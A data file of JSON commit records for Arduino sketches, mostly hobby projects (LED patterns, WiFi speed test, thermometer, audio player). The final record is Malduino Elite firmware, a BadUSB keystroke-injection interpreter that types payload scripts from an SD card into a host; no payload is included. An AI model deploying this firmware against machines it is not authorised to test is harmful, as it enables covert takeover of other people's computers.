COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \/\/ Set first 4 pixels with the pattern we want to repeat.\n fill_rainbow(leds, 4, millis()\/20, 20);\n\n \/\/ Copy the pixel data down the rest of the strip.\n CopyPixels();\n \n FastLED.show(); \/\/display leds\n\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\nvoid CopyPixels() {\n \/\/ Copy pixel data from frist 4 pixels to rest of strip.\n\n for (uint8_t i=0; i < NUM_LEDS\/4; i++) {\n memmove8( &leds[i*4], &leds[0], (4)*sizeof(CRGB) );\n }\n\n}\/\/end_CopyPixels\n\n\n\/\/---------------------------------------------------------------\n\/\/ Reminder of the memmove8 format:\n\/\/ memmove8( &destination[start position], &source[start position], size of pixel data )\n\/\/---------------------------------------------------------------\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'memmove8_pattern_copy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"05e8d7ee862dfa7905908b403ad5a5c8ad2bfe88","subject":"Add files via upload","message":"Add files via upload\n\nsimple test for Arduino WiFi performance","repos":"ivanshilo\/arduino","old_file":"WiFiSpeedTest.ino","new_file":"WiFiSpeedTest.ino","new_contents":"\/*\n * sketch for WiFi upload speed test from Arduino to computer\n * how-to use: open serial port monitor while Arduino starts up\n * type in your browser http:\/\/[Aduino_ipaddress]\/capture\n * enjoy the text till it's finished\n * check out statistics in serial port monitor window\n * \n * Author: Ivan Shilo. 2016\n *\/\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\n\/\/ Enabe debug tracing to Serial port.\n#define DEBUGGING\n\nint wifiType = 0; \/\/ 0:Station 1:AP\nconst char* ssid = \"SSID\"; \/\/ Put your SSID here\nconst char* password = \"password\"; \/\/ Put your PASSWORD here\nconst short bufSize = 3000; \/\/best and max for WiFi is 1460\nchar testBuffer[bufSize];\n\nESP8266WebServer server(80);\nWiFiClient client;\n\n\nvoid serverCapture(){\n \n client = server.client();\n long total_time = millis();\n long len = 240000;\n long lenF = len;\n long cycles = 0;\n float speedWiFi = 0.0;\n \n \n if (!client.connected()) {\n Serial.println(\"client not connected!\");\n return;\n }\n \n client.setNoDelay(1);\n\n \/\/send page header\n String response = \"HTTP\/1.1 200 OK\\r\\n\";\n response += \"Content-Type: text\/plain\\r\\n\";\n response += \"Content-Length: \" + String(len) + \"\\r\\n\\r\\n\";\n server.sendContent(response);\n\n Serial.print(\"Starting transfer of \");\n Serial.print(len);\n Serial.println(\" bytes\");\n \n while (len > 0){\n \n int toSend = len > bufSize ? bufSize : len;\n client.write(&testBuffer[0], toSend);\n len -= bufSize;\n cycles++;\n\n \/\/ there should be some delay, otherwise WIFI gets stuck\n delay(1);\n }\n\n \/\/ show statistics\n total_time = millis() - total_time;\n Serial.print(\"send total_time used (in miliseconds):\");\n Serial.println(total_time, DEC);\n speedWiFi = (float)lenF \/ (float)total_time;\n Serial.print(\"Bytes transferred: \");\n Serial.println(lenF);\n Serial.print(\"WiFi speed: \");\n Serial.print(speedWiFi);\n Serial.println(\"KByte\/s\");\n client.stop();\n \n \n}\n\nvoid handleNotFound(){\n String message = \"Server is running!\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n server.send(200, \"text\/plain\", message);\n \n \n}\n\nvoid setup() {\n\n Serial.begin(115200);\n Serial.println(\"ArduCAM Start!\");\n\n \n if (wifiType == 0){\n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"WiFi connected\");\n Serial.println(\"\");\n Serial.println(WiFi.localIP());\n }else if (wifiType == 1){\n Serial.println();\n Serial.println();\n Serial.print(\"Share AP: \");\n Serial.println(ssid);\n \n WiFi.mode(WIFI_AP);\n WiFi.softAP(ssid, password);\n Serial.println(\"\");\n Serial.println(WiFi.softAPIP());\n }\n\n \n\n \/\/ prepare our buffer to be transferred\n for (int i = 0; i < bufSize; i++){\n int k = i;\n testBuffer[k] = '1';\n testBuffer[k+1] = '2';\n testBuffer[k+2] = '3';\n testBuffer[k+3] = '4';\n testBuffer[k+4] = '5';\n testBuffer[k+5] = '6';\n testBuffer[k+6] = '7';\n testBuffer[k+7] = '8';\n i = i+7;\n }\n \n \/\/ Start the server\n server.on(\"\/capture\", HTTP_GET, serverCapture);\n\/\/ server.on(\"\/stream\", HTTP_GET, serverStream);\n server.onNotFound(handleNotFound);\n server.begin();\n Serial.println(\"Server started\");\n}\n\nvoid loop() {\n server.handleClient();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFiSpeedTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"232385b6dfcd0565cc2292260178c19af121435f","subject":"changed piezo pin const","message":"changed piezo pin const\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4e735437b2351b9f57047f1398082fa32bd3d2c3","subject":"demostrat GPIO with led and button","message":"demostrat GPIO with led and button\n","repos":"marduino\/arduino,marduino\/arduino","old_file":"ledButton\/ledButton.ino","new_file":"ledButton\/ledButton.ino","new_contents":"\n\/*\n * Defintions\n*\/\nconst int pinLEDYellow = 13;\nconst int pinLEDRed = 8;\nconst int pinButton = 9;\n\n\/*\n * Initialize generic functions\n * \n *\/\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(pinLEDYellow, OUTPUT);\n\n \/\/ initialize customized Red LED\n pinMode(pinLEDRed, OUTPUT);\n\n \/\/ initialize button\n pinMode(pinButton, INPUT_PULLUP);\n}\n\n\/*\n * Flash yellow led\n * Show the usage of OUTPUT GPIO pin\n * \n *\/\nvoid flashYellowLED(void)\n{\n digitalWrite(pinLEDYellow, HIGH);\n delay(500);\n digitalWrite(pinLEDYellow, LOW);\n delay(500);\n}\n\n\/*\n * Flash yellow and red led\n * Demostrate connecting led manually\n *\/\nvoid flashLED(void)\n{\n digitalWrite(pinLEDYellow, HIGH);\n digitalWrite(pinLEDRed, LOW);\n delay(500);\n digitalWrite(pinLEDYellow, LOW);\n digitalWrite(pinLEDRed, HIGH);\n delay(500);\n}\n\n\/*\n * main loop function\n *\/\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int buttonValue;\n\n buttonValue = digitalRead(pinButton);\n if (buttonValue == LOW) {\n flashLED();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ledButton\/ledButton.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4af28d93dde3ff6af214f484b78240d6b2d23425","subject":"Added playmusic file to vcs","message":"Added playmusic file to vcs\n","repos":"ErazerBrecht\/NightcoreThis","old_file":"Arduino\/PlayMusic\/PlayMusic\/PlayMusic.ino","new_file":"Arduino\/PlayMusic\/PlayMusic\/PlayMusic.ino","new_contents":"\/*\n Simple Audio Player\n\n Demonstrates the use of the Audio library for the Arduino Due\n\n Hardware required :\n Arduino shield with a SD card on CS4\n A sound file named \"test.wav\" in the root directory of the SD card\n An audio amplifier to connect to the DAC0 and ground\n A speaker to connect to the audio amplifier\n\n Original by Massimo Banzi September 20, 2012\n Modified by Scott Fitzgerald October 19, 2012\n\n This example code is in the public domain\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/SimpleAudioPlayer\n\n*\/\n\n#include <SD.h>\n#include <SPI.h>\n#include <Audio.h>\n\nvoid setup() {\n \/\/ debug output at 9600 baud\n Serial.begin(9600);\n\n \/\/ setup SD-card\n Serial.print(\"Initializing SD card...\");\n if (!SD.begin(4)) {\n Serial.println(\" failed!\");\n return;\n }\n Serial.println(\" done.\");\n \/\/ hi-speed SPI transfers\n SPI.setClockDivider(4);\n\n \/\/Mono: 44100Khz \n \/\/Stereo: 88200 sample rate\n \/\/300 mSec of prebuffering.\n Audio.begin(1 * 44100, 300);\n}\n\nvoid loop() {\n int count = 0;\n\n \/\/ open wave file from sdcard\n File myFile = SD.open(\"test.wav\");\n if (!myFile) {\n \/\/ if the file didn't open, print an error and stop\n Serial.println(\"error opening test.wav\");\n while (true);\n }\n\n const int S = 1024; \/\/ Number of samples to read in block\n short buffer[S];\n\n Serial.print(\"Playing\");\n \/\/ until the file is not finished\n while (myFile.available()) {\n \/\/ read from the file into buffer\n myFile.read(buffer, sizeof(buffer));\n\n \/\/ Prepare samples\n int volume = 1024;\n Audio.prepare(buffer, S, volume);\n \/\/ Feed samples to audio\n Audio.write(buffer, S);\n\n \/\/ Every 100 block print a '.'\n count++;\n if (count == 100) {\n Serial.print(\".\");\n count = 0;\n }\n }\n myFile.close();\n\n Serial.println(\"End of file. Thank you for listening!\");\n while (true) ;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/PlayMusic\/PlayMusic\/PlayMusic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e755b544d82b8adbd10394158aadd34f8141f85","subject":"Add infrared thermometer example","message":"Add infrared thermometer example\n","repos":"godstale\/Arduino-Serial-Controller","old_file":"Arduino\/non_contact_thermometer\/non_contact_thermometer.ino","new_file":"Arduino\/non_contact_thermometer\/non_contact_thermometer.ino","new_contents":"\/*************************************************** \n This is a library example for the MLX90614 Temp Sensor\n\n Designed specifically to work with the MLX90614 sensors in the\n adafruit shop\n ----> https:\/\/www.adafruit.com\/products\/1748\n ----> https:\/\/www.adafruit.com\/products\/1749\n\n These sensors use I2C to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include <Wire.h>\n#include <Adafruit_MLX90614.h>\n#include \"U8glib.h\"\n\nAdafruit_MLX90614 mlx = Adafruit_MLX90614();\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/----- OLED instance\n\/\/ IMPORTANT NOTE: The complete list of supported devices \n\/\/ with all constructor calls is here: http:\/\/code.google.com\/p\/u8glib\/wiki\/device\nU8GLIB_SSD1306_128X64 u8g(U8G_I2C_OPT_NONE|U8G_I2C_OPT_DEV_0);\t\/\/ I2C \/ TWI \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Remember received data\n#define INPUT_BUFFER_LEN 3\nchar inputBuffer[INPUT_BUFFER_LEN];\n\/\/ Remember temperature\nint iRememberedTemp = 0;\n\n\nvoid setup() {\n Serial.begin(9600);\n mlx.begin();\n for(int i=0; i<INPUT_BUFFER_LEN; i++)\n inputBuffer[i] = 0x00;\n}\n\nvoid loop() {\n boolean isRemember = false;\n \n \/\/ Check received data\n if(Serial.available()) {\n \/\/ Get a byte from Serial\n char tempChar = Serial.read();\n \/\/ Push to buffer\n for(int i=0; i<INPUT_BUFFER_LEN - 1; i++)\n inputBuffer[i] = inputBuffer[i+1];\n inputBuffer[INPUT_BUFFER_LEN - 1] = tempChar;\n \n \/\/ Check command from remote\n if(inputBuffer[0] == 'b') {\n if(inputBuffer[1] == '1' \n || inputBuffer[1] == '2'\n || inputBuffer[1] == '3'\n || inputBuffer[1] == '4') {\n isRemember = true;\n }\n }\n }\n \n \/\/ Get temperature\n float currentCTemp = (int)(mlx.readObjectTempC());\n float currentFTemp = (int)(mlx.readObjectTempF());\n if(isRemember) {\n iRememberedTemp = (int)currentCTemp;\n }\n \n \/\/ For debug\n Serial.print(\"Ambient = \"); Serial.print(currentCTemp); \n Serial.print(\"*C\\tObject = \"); Serial.print(currentCTemp); Serial.println(\"*C\");\n Serial.print(\"Ambient = \"); Serial.print(currentFTemp); \n Serial.print(\"*F\\tObject = \"); Serial.print(currentFTemp); Serial.println(\"*F\");\n Serial.println();\n \/\/ display temperature on remote screen\n Serial.print(\"a\");\n Serial.print(currentCTemp, 5);\n Serial.print(\"z\");\n Serial.println();\n \n \/\/ display temperature on OLED\n String strTemp = String(\"\");\n strTemp += (int)currentCTemp;\n char buff[10];\n strTemp.toCharArray(buff, 5);\n buff[2] = 0x27;\n buff[3] = 'C';\n buff[4] = 0x00;\n \n drawTemp(buff);\n \n delay(500);\n}\n\nvoid drawTemp(char* strTemp) {\n \/\/ picture loop \n u8g.firstPage(); \n do {\n \/\/ show text\n u8g.setFont(u8g_font_courB14);\n u8g.setFontRefHeightExtendedText();\n u8g.setDefaultForegroundColor();\n u8g.setFontPosTop();\n u8g.drawStr(3, 0, \"Temperature\");\n u8g.drawStr(45, 20, strTemp);\n \n \/\/ show remembered temperature\n if(iRememberedTemp > 0) {\n String strTemp2 = String(\"\");\n strTemp2 += iRememberedTemp;\n char buff[5];\n strTemp2.toCharArray(buff, 5);\n buff[2] = 0x27;\n buff[3] = 'C';\n buff[4] = 0x00;\n \n u8g.drawStr(3, 40, \"Prev: \");\n u8g.drawStr(55, 40, buff);\n }\n } while( u8g.nextPage() );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/non_contact_thermometer\/non_contact_thermometer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"160a2d9d4f5154cfa2fc868345716e08c3d9e8d2","subject":"Update MuscleSpikerShiledComplete.ino","message":"Update MuscleSpikerShiledComplete.ino","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShiledComplete.ino","new_file":"Muscle\/Arduino Code\/Complete\/MuscleSpikerShiledComplete.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/Complete\/MuscleSpikerShiledComplete.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0c455819369a2ec631dd8d2986ff2b7f55819525","subject":"Create BB-UNIT FIRMWARE BALL V0-4.ino","message":"Create BB-UNIT FIRMWARE BALL V0-4.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Firmware\/BB-UNIT\/BB-UNIT FIRMWARE BALL V0-4.ino","new_file":"Firmware\/BB-UNIT\/BB-UNIT FIRMWARE BALL V0-4.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/BB-UNIT\/BB-UNIT' did not match any file(s) known to git\nerror: pathspec 'FIRMWARE' did not match any file(s) known to git\nerror: pathspec 'BALL' did not match any file(s) known to git\nerror: pathspec 'V0-4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6548f5067fb9fc127a44076dc09df767bd64b655","subject":"Two LIDARs operating off same I2c working","message":"Two LIDARs operating off same I2c working\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"Testing LIDAR\/TwoLIDARsPwrEnSwitch\/TwoLIDARsPwrEnSwitch.ino","new_file":"Testing LIDAR\/TwoLIDARsPwrEnSwitch\/TwoLIDARsPwrEnSwitch.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing' did not match any file(s) known to git\nerror: pathspec 'LIDAR\/TwoLIDARsPwrEnSwitch\/TwoLIDARsPwrEnSwitch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5c11e05435addbc690b4ec02b6bcd5f4f90e374","subject":"added rainbow function","message":"added rainbow function\n","repos":"stewartadam\/lulzsaber","old_file":"strip\/strip.ino","new_file":"strip\/strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/stewartadam\/lulzsaber.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"505d2dee7e7651f333a3f74b796633da41f1c007","subject":"Create sketch.ino","message":"Create sketch.ino","repos":"dsii-2017-unirsm\/dsii-2017-archive,francescopaolini\/archive,francescopaolini\/archive,dsii-2017-unirsm\/dsii-2017-archive","old_file":"francescopaolini\/making_visible\/code\/_arduino\/sketch.ino","new_file":"francescopaolini\/making_visible\/code\/_arduino\/sketch.ino","new_contents":"#include <Servo.h>\n\n#define echoPin 2 \/\/ Pin che riceve la pulsazione echo\n#define trigPin 3 \/\/ Pin che riceve la pulsazione trig\n\nServo myservo; \/\/per controllare il servo motore\n\nint potpin = 0; \nint val; \nint tweet = 0;\nint incomingByte; \nvoid(* Riavvia)(void) = 0;\n\nconst int triggerPort = 9;\nconst int echoPort = 10;\n\nvoid setup() {\n\n Serial.begin(9600);\n\n \/\/-------------------------controllo motori A e B------------------\/\/\n pinMode(12, OUTPUT); \/\/avvio pin 12\n pinMode(9, OUTPUT); \/\/freno pin 9\n\n pinMode(13, OUTPUT); \/\/avvio pin 13\n pinMode(8, OUTPUT); \/\/freno pin 8\n\n pinMode(echoPin, INPUT);\/\/ setto echopin come input\n pinMode(trigPin, OUTPUT);\/\/ setto trigger come output\n\n myservo.attach(6); \/\/ pin di collegamento per il servo\n}\n\n\nvoid A_B() {\n digitalWrite(12, HIGH); \/\/Establishes forward direction of Channel A\n digitalWrite(9, LOW); \/\/Disengage the Brake for Channel A\n analogWrite(3, 255); \/\/Spins the motor on Channel A at full speed\n\n digitalWrite(13, HIGH); \/\/Establishes backward direction of Channel B\n digitalWrite(8, LOW); \/\/Disengage the Brake for Channel B\n analogWrite(11, 255); \/\/Spins the motor on Channel B at half\n}\n\n\nint count = 0;\nint randomico = 0;\n\n \/\/-------------------------loop attivazione motori------------------\/\/\nvoid loop() {\n count++;\n if (count > 200) {\n count = 0;\n randomico = random(1);\n }\n if (randomico == 0) {\n A_B();\n }\n\n Serial.println(randomico);\n\n \/\/-------------------------sensore di prossimit\u00e0------------------\/\/\n digitalWrite( triggerPort, LOW );\n digitalWrite( triggerPort, HIGH );\n delayMicroseconds( 10 );\n digitalWrite( triggerPort, LOW );\n\n long durata = pulseIn( echoPort, HIGH );\n long distanza = 0.034 * durata \/ 2;\n\n Serial.print(\"distanza: \");\n\n if ( durata > 38000 ) {\n Serial.println(\"Fuori portata \");\/\/dopo 38ms \u00e8 fuori dalla portata del sensore\n }\n else {\n Serial.print(distanza);\n Serial.println(\" cm \");\n }\n\n if (distanza < 30) { \/\/invertire i motori a distanza minore di 30cm\n digitalWrite(9, LOW); \n analogWrite(3, 0);\n digitalWrite(8, LOW); \n analogWrite(11, 0);\n\n digitalWrite(12, LOW); \n digitalWrite(9, LOW); \n analogWrite(3, 255); \n }\n\n\n delay(1000);\n\n\n \/\/-------------------------controllo servo tramite collegamento a processing------------------\/\/\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n if (incomingByte == 'H') {\n tweet = 1;\n }\n if (incomingByte == 'L') {\n tweet = 0;\n }\n }\n\n if (tweet == 0) {\n \/\/ tweet\n myservo.write(0);\n }\n if (tweet == 1) {\n \/\/ No tweet\n myservo.write(90);\n }\n\n delay(15);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'francescopaolini\/making_visible\/code\/_arduino\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5b6aa2814259cb056254ddd5c4d4c3756f9864c3","subject":"Update ProbeCube_pp_099b0224.ino","message":"Update ProbeCube_pp_099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/Code\/ProbeCube_pp_099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2aebf9d3ba44c8cfb973ee93a1a5a27f01cd5ac2","subject":"Added Malduino Elite Firmware","message":"Added Malduino Elite Firmware\n\n","repos":"Seytonic\/malduino,Seytonic\/malduino,Seytonic\/malduino","old_file":"firmware\/malduino_elite\/malduino_elite.ino","new_file":"firmware\/malduino_elite\/malduino_elite.ino","new_contents":"#include <SPI.h>\n#include <SD.h>\n#include \"Keyboard.h\"\n\n\/\/#define debug true \/\/ <-- uncomment to turn serial output on\n#define CSpin 4 \/\/Chip-Select of the SD-Card reader\n#define buffersize 256\n\n#define KEYPAD_0 234\n#define KEYPAD_1 225\n#define KEYPAD_2 226\n#define KEYPAD_3 227\n#define KEYPAD_4 228\n#define KEYPAD_5 229\n#define KEYPAD_6 230\n#define KEYPAD_7 231\n#define KEYPAD_8 232\n#define KEYPAD_9 233\n#define KEYPAD_ASTERIX 221\n#define KEYPAD_ENTER 224\n#define KEYPAD_MINUS 222\n#define KEYPAD_PERIOD 235\n#define KEYPAD_PLUS 223\n#define KEYPAD_SLASH 220\n\nFile payload;\nchar last[buffersize];\nint lastSize = 0;\nchar buf[buffersize];\nint bufSize = 0;\nint defaultDelay = 5;\n\nint getSpace(int start, int end){\n for(int i=start;i<end;i++){\n if(buf[i] == ' ') return i;\n }\n return -1;\n}\n\nbool equals(int start, int end, String str){\n int len = str.length();\n if(end-start != len) return false;\n for(int i=0;i<len;i++){\n if(buf[start+i] != str[i]) return false;\n }\n return true;\n}\n\nint getInt(int pos){\n String amount = String(buf).substring(pos+1,pos+6);\n return amount.toInt();\n}\n\nvoid runLine(){\n #ifdef debug \n Serial.println(\"run: '\"+String(buf).substring(0,bufSize)+\"' (\"+(String)bufSize+\")\");\n #endif\n\n int space = getSpace(0,bufSize);\n\n if(space == -1) runCommand(0,bufSize);\n else{\n if(equals(0,space,\"DEFAULTDELAY\") || equals(0,space,\"DEFAULT_DELAY\")) defaultDelay = getInt(space);\n else if(equals(0,space,\"DELAY\")) delay(getInt(space));\n else if(equals(0,space,\"STRING\")){\n for(int i=space+1;i<bufSize;i++) Keyboard.write(buf[i]);\n }else if(equals(0,space,\"REPEAT\")){\n int runs = getInt(space);\n strncpy(buf, last, lastSize);\n bufSize = lastSize;\n for(int i=0;i<runs;i++){\n runLine();\n }\n }\n else if(equals(0,space,\"REM\")){}\n else{\n do{\n runCommand(0,space);\n space = getSpace(space+1,bufSize);\n }while(space >= 0);\n }\n }\n \n Keyboard.releaseAll();\n delay(defaultDelay);\n}\n\nvoid runCommand(int s, int e){\n\n #ifdef debug \n Serial.println(\"Press \"+String(buf).substring(s,e));\n #endif\n \n if(s == e) Keyboard.press(buf[s]);\n else if(equals(s,e,\"ENTER\")) Keyboard.press(KEY_RETURN);\n else if(equals(s,e,\"GUI\") || equals(s,e,\"WINDOWS\")) Keyboard.press(KEY_LEFT_GUI);\n else if(equals(s,e,\"SHIFT\")) Keyboard.press(KEY_LEFT_SHIFT);\n else if(equals(s,e,\"ALT\")) Keyboard.press(KEY_LEFT_ALT);\n else if(equals(s,e,\"CTRL\") || equals(s,e,\"CONTROL\")) Keyboard.press(KEY_LEFT_CTRL);\n else if(equals(s,e,\"CAPSLOCK\")) Keyboard.press(KEY_CAPS_LOCK);\n else if(equals(s,e,\"DELETE\")) Keyboard.press(KEY_DELETE);\n else if(equals(s,e,\"END\")) Keyboard.press(KEY_END);\n else if(equals(s,e,\"ESC\") || equals(s,e,\"ESCAPE\")) Keyboard.press(KEY_ESC);\n else if(equals(s,e,\"HOME\")) Keyboard.press(KEY_HOME);\n else if(equals(s,e,\"INSERT\")) Keyboard.press(KEY_INSERT);\n else if(equals(s,e,\"PAGEUP\")) Keyboard.press(KEY_PAGE_UP);\n else if(equals(s,e,\"PAGEDOWN\")) Keyboard.press(KEY_PAGE_DOWN);\n else if(equals(s,e,\"SPACE\")) Keyboard.press(' ');\n else if(equals(s,e,\"TAB\")) Keyboard.press(KEY_TAB);\n else if(equals(s,e,\"UP\")) Keyboard.press(KEY_UP_ARROW);\n else if(equals(s,e,\"DOWN\")) Keyboard.press(KEY_DOWN_ARROW);\n else if(equals(s,e,\"LEFT\")) Keyboard.press(KEY_LEFT_ARROW);\n else if(equals(s,e,\"RIGHT\")) Keyboard.press(KEY_RIGHT_ARROW);\n\n else if(equals(s,e,\"F1\")) Keyboard.press(KEY_F1);\n else if(equals(s,e,\"F2\")) Keyboard.press(KEY_F2);\n else if(equals(s,e,\"F3\")) Keyboard.press(KEY_F3);\n else if(equals(s,e,\"F4\")) Keyboard.press(KEY_F4);\n else if(equals(s,e,\"F5\")) Keyboard.press(KEY_F5);\n else if(equals(s,e,\"F6\")) Keyboard.press(KEY_F6);\n else if(equals(s,e,\"F7\")) Keyboard.press(KEY_F7);\n else if(equals(s,e,\"F8\")) Keyboard.press(KEY_F8);\n else if(equals(s,e,\"F9\")) Keyboard.press(KEY_F9);\n else if(equals(s,e,\"F10\")) Keyboard.press(KEY_F10);\n else if(equals(s,e,\"F11\")) Keyboard.press(KEY_F11);\n else if(equals(s,e,\"F12\")) Keyboard.press(KEY_F12);\n\n else if(equals(s,e,\"NUM_0\")) Keyboard.press(KEYPAD_0);\n else if(equals(s,e,\"NUM_1\")) Keyboard.press(KEYPAD_1);\n else if(equals(s,e,\"NUM_2\")) Keyboard.press(KEYPAD_2);\n else if(equals(s,e,\"NUM_3\")) Keyboard.press(KEYPAD_3);\n else if(equals(s,e,\"NUM_4\")) Keyboard.press(KEYPAD_4);\n else if(equals(s,e,\"NUM_5\")) Keyboard.press(KEYPAD_5);\n else if(equals(s,e,\"NUM_6\")) Keyboard.press(KEYPAD_6);\n else if(equals(s,e,\"NUM_7\")) Keyboard.press(KEYPAD_7);\n else if(equals(s,e,\"NUM_8\")) Keyboard.press(KEYPAD_8);\n else if(equals(s,e,\"NUM_9\")) Keyboard.press(KEYPAD_9);\n else if(equals(s,e,\"NUM_ASTERIX\")) Keyboard.press(KEYPAD_ASTERIX);\n else if(equals(s,e,\"NUM_ENTER\")) Keyboard.press(KEYPAD_ENTER);\n else if(equals(s,e,\"NUM_Minus\")) Keyboard.press(KEYPAD_MINUS);\n else if(equals(s,e,\"NUM_PERIOD\")) Keyboard.press(KEYPAD_PERIOD);\n else if(equals(s,e,\"NUM_PLUS\")) Keyboard.press(KEYPAD_PLUS);\n else if(equals(s,e,\"NUM_SLASH\")) Keyboard.press(KEYPAD_SLASH);\n\n \/\/not implemented\n \/\/else if(equals(s,e,\"APP\")) Keyboard.press();\n \/\/else if(equals(s,e,\"MENU\")) Keyboard.press();\n \/\/else if(equals(s,e,\"BREAK\") || equals(s,e,\"PAUSE\")) Keyboard.press();\n \/\/else if(equals(s,e,\"NUMLOCK\")) Keyboard.press();\n \/\/else if(equals(s,e,\"PRINTSCREEN\")) Keyboard.press();\n \/\/else if(equals(s,e,\"SCROLLLOCK\")) Keyboard.press();\n}\n\nvoid setup() {\n #ifdef debug\n Serial.begin(115200);\n delay(2000);\n Serial.println(\"Started!\");\n #endif\n\n String scriptName = \"\"; \/\/ Name of the file that will be opened\n\n pinMode(6, INPUT_PULLUP);\n pinMode(7, INPUT_PULLUP);\n pinMode(8, INPUT_PULLUP);\n pinMode(9, INPUT_PULLUP);\n \n if(digitalRead(6) == LOW){scriptName += \"1\";} else {scriptName += \"0\";}\n if(digitalRead(7) == LOW){scriptName += \"1\";} else {scriptName += \"0\";}\n if(digitalRead(8) == LOW){scriptName += \"1\";} else {scriptName += \"0\";}\n if(digitalRead(9) == LOW){scriptName += \"1\";} else {scriptName += \"0\";}\n\n scriptName += \".txt\";\n\n if(!SD.begin(4)) {\n #ifdef debug \n Serial.println(\"couldn't access sd-card :(\");\n #endif\n return;\n }\n\n payload = SD.open(scriptName);\n if(!payload){\n #ifdef debug \n Serial.println(\"couldn't find script: '\"+String(scriptName)+\"'\");\n #endif\n return;\n }else{\n Keyboard.begin();\n while(payload.available()){\n\n buf[bufSize] = payload.read();\n if(buf[bufSize] == '\\r' || buf[bufSize] == '\\n' || bufSize >= buffersize){\n if(buf[bufSize] == '\\r' && payload.peek() == '\\n') payload.read();\n runLine();\n strncpy(last, buf, bufSize);\n lastSize = bufSize;\n bufSize = 0;\n }\n else bufSize++;\n }\n if(bufSize > 0){\n runLine();\n strncpy(last, buf, bufSize);\n lastSize = bufSize;\n bufSize = 0;\n }\n payload.close();\n Keyboard.end();\n }\n}\n\nvoid loop() 